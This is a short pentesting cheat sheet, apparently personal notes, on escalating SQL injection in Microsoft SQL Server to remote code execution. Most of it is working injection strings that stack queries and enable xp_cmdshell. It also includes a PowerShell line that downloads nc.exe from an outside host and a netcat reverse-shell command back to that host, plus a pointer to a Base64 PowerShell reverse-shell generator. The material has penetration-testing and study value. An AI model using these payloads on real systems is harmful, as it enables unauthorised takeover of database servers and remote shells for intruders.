MSSQL
SQL Injection to RCE
https://medium.com/@notsoshant/a-not-so-blind-rce-with-sql-injection-13838026331e
is_srvrolemember('sysadmin')If it is equal to one, you can be execute xp_cmdshell command.
' UNION SELECT NULL,test,NULL FROM Users; WAITFOR DELAY '0:0:5';-- - multiple queries ok.
' UNION SELECT NULL,test,NULL FROM Users; EXEC xp_cmdshell "whoami";-- - nope.
' UNION SELECT NULL,test,NULL FROM Users; EXEC sp_configure "show advanced options", 1;RECONFIGURE;EXEC sp_configure "xp_cmdshell", 1;RECONFIGURE;--
' UNION SELECT NULL,test,NULL FROM Users; EXEC master..xp_cmdshell "whoami";-- - ok.
' UNION SELECT NULL,test,NULL FROM Users; EXEC master..xp_cmdshell "powershell Invoke-WebRequest -Uri http://192.168.1.1/nc.exe -OutFile nc.exe";-- -OK
' UNION SELECT NULL,test,NULL FROM Users; EXEC master..xp_cmdshell "nc.exe -e cmd 192.168.1.1 80";-- -OKGetting RCE on MSSQL
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server https://rioasmara.com/2020/01/31/mssql-rce-and-reverse-shell-xp_cmdshell
xp_cmdshell - Can only be executed by 'sa' and any other users with 'sysadmin' privileges
By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
If we have credentials and mssql port is open to external access, we can connect with sqsh.
If the output like the above then you need to activate the cmdshell feature with below commands
With the above command we have configured that our SQL Server is able to execute command at the server.
To get reverse shell, we can execute powershell command.
https://www.revshells.com/ - Powershell #3 (Base64) - 192.168.1.1 - 80 - powershell
Last updated